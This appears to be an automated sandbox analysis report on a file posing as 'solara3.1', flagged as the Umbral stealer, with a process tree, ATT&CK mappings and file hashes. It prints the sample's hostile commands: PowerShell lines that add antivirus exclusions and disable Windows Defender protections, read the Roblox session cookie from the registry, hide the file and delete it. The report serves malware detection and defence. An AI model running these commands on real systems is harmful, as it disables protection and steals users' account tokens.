umbral | hxxps://gofile[.]io/d/iTecCK

Analysis

max time kernel
90s
max time network
191s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
20-05-2024 10:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://gofile.io/d/iTecCK

Score

10^/10

umbral execution stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3444-210-0x0000022F86D40000-0x0000022F86D80000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1784	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	solara3.1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3856	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3433428765-2473475212-4279855560-1000_Classes\Local Settings	msedge.exe

NTFS ADS 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\solara3.1.zip:Zone.Identifier	msedge.exe
File created	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\g7fId.scr\:Zone.Identifier:$DATA	solara3.1.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
248	PING.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
4736	msedge.exe
4736	msedge.exe
1476	msedge.exe
1476	msedge.exe
2596	identity_helper.exe
2596	identity_helper.exe
2932	msedge.exe
2932	msedge.exe
3432	msedge.exe
3432	msedge.exe
3444	solara3.1.exe
1784	powershell.exe
1784	powershell.exe
1860	powershell.exe
1860	powershell.exe
3904	powershell.exe
3904	powershell.exe
2252	powershell.exe
2252	powershell.exe
2908	powershell.exe
2908	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3444	solara3.1.exe
Token: SeIncreaseQuotaPrivilege	4564	wmic.exe
Token: SeSecurityPrivilege	4564	wmic.exe
Token: SeTakeOwnershipPrivilege	4564	wmic.exe
Token: SeLoadDriverPrivilege	4564	wmic.exe
Token: SeSystemProfilePrivilege	4564	wmic.exe
Token: SeSystemtimePrivilege	4564	wmic.exe
Token: SeProfSingleProcessPrivilege	4564	wmic.exe
Token: SeIncBasePriorityPrivilege	4564	wmic.exe
Token: SeCreatePagefilePrivilege	4564	wmic.exe
Token: SeBackupPrivilege	4564	wmic.exe
Token: SeRestorePrivilege	4564	wmic.exe
Token: SeShutdownPrivilege	4564	wmic.exe
Token: SeDebugPrivilege	4564	wmic.exe
Token: SeSystemEnvironmentPrivilege	4564	wmic.exe
Token: SeRemoteShutdownPrivilege	4564	wmic.exe
Token: SeUndockPrivilege	4564	wmic.exe
Token: SeManageVolumePrivilege	4564	wmic.exe
Token: 33	4564	wmic.exe
Token: 34	4564	wmic.exe
Token: 35	4564	wmic.exe
Token: 36	4564	wmic.exe
Token: SeIncreaseQuotaPrivilege	4564	wmic.exe
Token: SeSecurityPrivilege	4564	wmic.exe
Token: SeTakeOwnershipPrivilege	4564	wmic.exe
Token: SeLoadDriverPrivilege	4564	wmic.exe
Token: SeSystemProfilePrivilege	4564	wmic.exe
Token: SeSystemtimePrivilege	4564	wmic.exe
Token: SeProfSingleProcessPrivilege	4564	wmic.exe
Token: SeIncBasePriorityPrivilege	4564	wmic.exe
Token: SeCreatePagefilePrivilege	4564	wmic.exe
Token: SeBackupPrivilege	4564	wmic.exe
Token: SeRestorePrivilege	4564	wmic.exe
Token: SeShutdownPrivilege	4564	wmic.exe
Token: SeDebugPrivilege	4564	wmic.exe
Token: SeSystemEnvironmentPrivilege	4564	wmic.exe
Token: SeRemoteShutdownPrivilege	4564	wmic.exe
Token: SeUndockPrivilege	4564	wmic.exe
Token: SeManageVolumePrivilege	4564	wmic.exe
Token: 33	4564	wmic.exe
Token: 34	4564	wmic.exe
Token: 35	4564	wmic.exe
Token: 36	4564	wmic.exe
Token: SeDebugPrivilege	1784	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeIncreaseQuotaPrivilege	2756	wmic.exe
Token: SeSecurityPrivilege	2756	wmic.exe
Token: SeTakeOwnershipPrivilege	2756	wmic.exe
Token: SeLoadDriverPrivilege	2756	wmic.exe
Token: SeSystemProfilePrivilege	2756	wmic.exe
Token: SeSystemtimePrivilege	2756	wmic.exe
Token: SeProfSingleProcessPrivilege	2756	wmic.exe
Token: SeIncBasePriorityPrivilege	2756	wmic.exe
Token: SeCreatePagefilePrivilege	2756	wmic.exe
Token: SeBackupPrivilege	2756	wmic.exe
Token: SeRestorePrivilege	2756	wmic.exe
Token: SeShutdownPrivilege	2756	wmic.exe
Token: SeDebugPrivilege	2756	wmic.exe
Token: SeSystemEnvironmentPrivilege	2756	wmic.exe
Token: SeRemoteShutdownPrivilege	2756	wmic.exe
Token: SeUndockPrivilege	2756	wmic.exe
Token: SeManageVolumePrivilege	2756	wmic.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe
1476	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 4428	1476	msedge.exe	80
PID 1476 wrote to memory of 4428	1476	msedge.exe	80
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4572	1476	msedge.exe	81
PID 1476 wrote to memory of 4736	1476	msedge.exe	82
PID 1476 wrote to memory of 4736	1476	msedge.exe	82
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83
PID 1476 wrote to memory of 1456	1476	msedge.exe	83

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5116	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://gofile.io/d/iTecCK
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffbbb2c3cb8,0x7ffbbb2c3cc8,0x7ffbbb2c3cd8
  2⤵
  PID:4428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1920 /prefetch:2
  2⤵
  PID:4572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2784 /prefetch:8
  2⤵
  PID:1456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
  2⤵
  PID:4920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
  2⤵
  PID:1976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4624 /prefetch:1
  2⤵
  PID:3892
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5348 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4652 /prefetch:1
  2⤵
  PID:2644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4656 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5496 /prefetch:1
  2⤵
  PID:2924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3724 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:3432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,2431645822214329544,6222790092904729457,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4292 /prefetch:1
  2⤵
  PID:1868

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1396

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3732

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5116

C:\Users\Admin\Downloads\solara3.1.exe
"C:\Users\Admin\Downloads\solara3.1.exe"
1⤵
- Drops file in Drivers directory
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3444
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4564
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\Downloads\solara3.1.exe"
  2⤵
  - Views/modifies file attributes
  PID:5116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\solara3.1.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2252
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3296
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2908
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3856
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Downloads\solara3.1.exe" && pause
  2⤵
  PID:2900
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a8e4bf11ed97b6b312e938ca216cf30e

SHA1
ff6b0b475e552dc08a2c81c9eb9230821d3c8290

SHA256
296db8c9361efb62e23be1935fd172cfe9fbcd89a424f34f347ec3cc5ca5afad

SHA512
ce1a05df2619af419ed3058dcbd7254c7159d333356d9f1d5e2591c19e17ab0ac9b6d3e625e36246ad187256bee75b7011370220ef127c4f1171879014d0dd76

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
23da8c216a7633c78c347cc80603cd99

SHA1
a378873c9d3484e0c57c1cb6c6895f34fee0ea61

SHA256
03dbdb03799f9e37c38f6d9d498ad09f7f0f9901430ff69d95aa26cae87504d3

SHA512
d34ae684e8462e3f2aba2260f2649dee01b4e2138b50283513c8c19c47faf039701854e1a9cbf21d7a20c28a6306f953b58ffb9144ead067f5f73650a759ff17

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
288B

MD5
e916d1aa281b74fd274abb264774be67

SHA1
37c35c2743919216e1acaf087b7909fdb5730ff4

SHA256
afccba60e685a6ba2e58108e012eafa11c8fd8f6ddd3a0a94fe9f63591900cfd

SHA512
ffe3e61d2eba1ff1c05f3662554a2ba18fd5d702dd85f6c8702610689efe929c1c9527d8742f87559ba02464d1fd93b796c1be1ec2c7f8d076857c36a168eb8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
bcce60e4eae39f464a69831928a14cb3

SHA1
9f66b406a6abdd5125030c8ccdcc25bebe3e2d88

SHA256
98d8861ac9b7aea1f4fdc6614fc54eabec8c1c3f2cade1ef2cf35190d89e4d1e

SHA512
3512333569feaaebd3e446ef8f4668ad900b559ed9a74814e5ceffbc3a1262a99391101c6008daaebd8f1ba8de58465130e105c2e11b4456b1e3ca7a05a24812

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Filesize
438B

MD5
ae0b4f8625dade0a27d0f37e16104949

SHA1
52d2b631657fee260c891af8a9fb4f557b6cbcd3

SHA256
56116bf8a94181809a0930e9f0341304a89e5d7f9b133b938060fb6e32efc92c

SHA512
a8927053b6f2299dd9cf07a5d4556f62ced23ae9c7ddc14a329fc13fd130ffe39d1ae0c13120a6464442edcea57f5df3b489930d8e27dd2bbf772901f2537233

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
317B

MD5
a91664ece6c047e307406aeaf5794ca6

SHA1
fc03595f60807cd4a69ff9f2413908e7e0cb57d3

SHA256
234cd1fe037edb4840eb82f9225851f4f3bc0cdc17d348863dcb74044895e78a

SHA512
e9c2fc98b46bf41c8808ccd09d33e6dfaa9936355d9801fc59ee2cf9115adb21629daddc69241c551e7049b2f8c4b425c080493b0bda443ba95993365353d77e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
eb23b9ad830b096c7863c4982211b122

SHA1
a347ce49a54a2e5a63fd9d810bf8725c4e12c0d9

SHA256
5676e8eeae2f9246623f3e683c090fcaabedb5195424ac187523e26d8676162a

SHA512
743339cb88bf64992d02c45d41f9adef540652f9d8f6307939b5f4d5155c830c7b9eee4ced419d4962679701d5068687d28741041d952dc81acb62b3af0d882a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
199baa257ba9da255b285bc3e8f31a5a

SHA1
2d6abe24b6cd4a25bcd573c9d4c73e1d49431fcc

SHA256
e532f995123f576563e407b7a776644e26be0f1dfa192381f6c975f78f7a469b

SHA512
1321960a9a96bf8a65c32c0c56b3353fe10c24fa1184023b291b91b34dbb2493e94f0c05255e7698a3ff967e647dd25781a27a82fd251605c527195a06639e6b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
f20a074d77be335fec158dfd5f735a31

SHA1
4dfab3f746bdf08a9d4d0c1dd4f2e893dbbc0862

SHA256
76bd16a16a81561e76f3e001cb18fe5488b91bb7ca06e0b683c50e522771026f

SHA512
69e62a6ee1eff94fcddb39ec4d9676271ff580fc568d9594a635ed9d3d836e068e29cfa39b1620b33b8c87d74994a68b4529754669804d2d1d03e1b9e2965c3c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
196b4e08cc1396e96ae2e1b8cb5b1fc6

SHA1
fb8fcbdcd1d4e45129449b18bbcaa90164173909

SHA256
1ce9241d7f6720ea410955a08f32e644ab6e1c2a8839012278aee3378a902905

SHA512
b4187f0c571ed941a128dd17a16e130fa0d3afb4d4b9e73e81d561765a2352f8590ad883ca6bd6621ee84a24645234414b567c16b7bbe669e379649570dc3ae2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
3a468ae23590910a96634b7dca6a2c64

SHA1
ab691456b7ec0847c023d744baee2dcec48f59e1

SHA256
3948555d51b51518ade3e067949d08d950ca43504e5d4524d569794712c4ed4b

SHA512
0e495df0b263dd350abd7588aed58f05f79f529038024bafbdb661bd9e9530a58ef5eafda57511e46267b5ca600d7192c00f94e3bfa8450c240ce2a073a3ec99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d0a4a3b9a52b8fe3b019f6cd0ef3dad6

SHA1
fed70ce7834c3b97edbd078eccda1e5effa527cd

SHA256
21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31

SHA512
1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
88d9df6819a00487ee2c9b58619f976f

SHA1
79231d23e3e4cf36e47fe6faab399ccd1412205a

SHA256
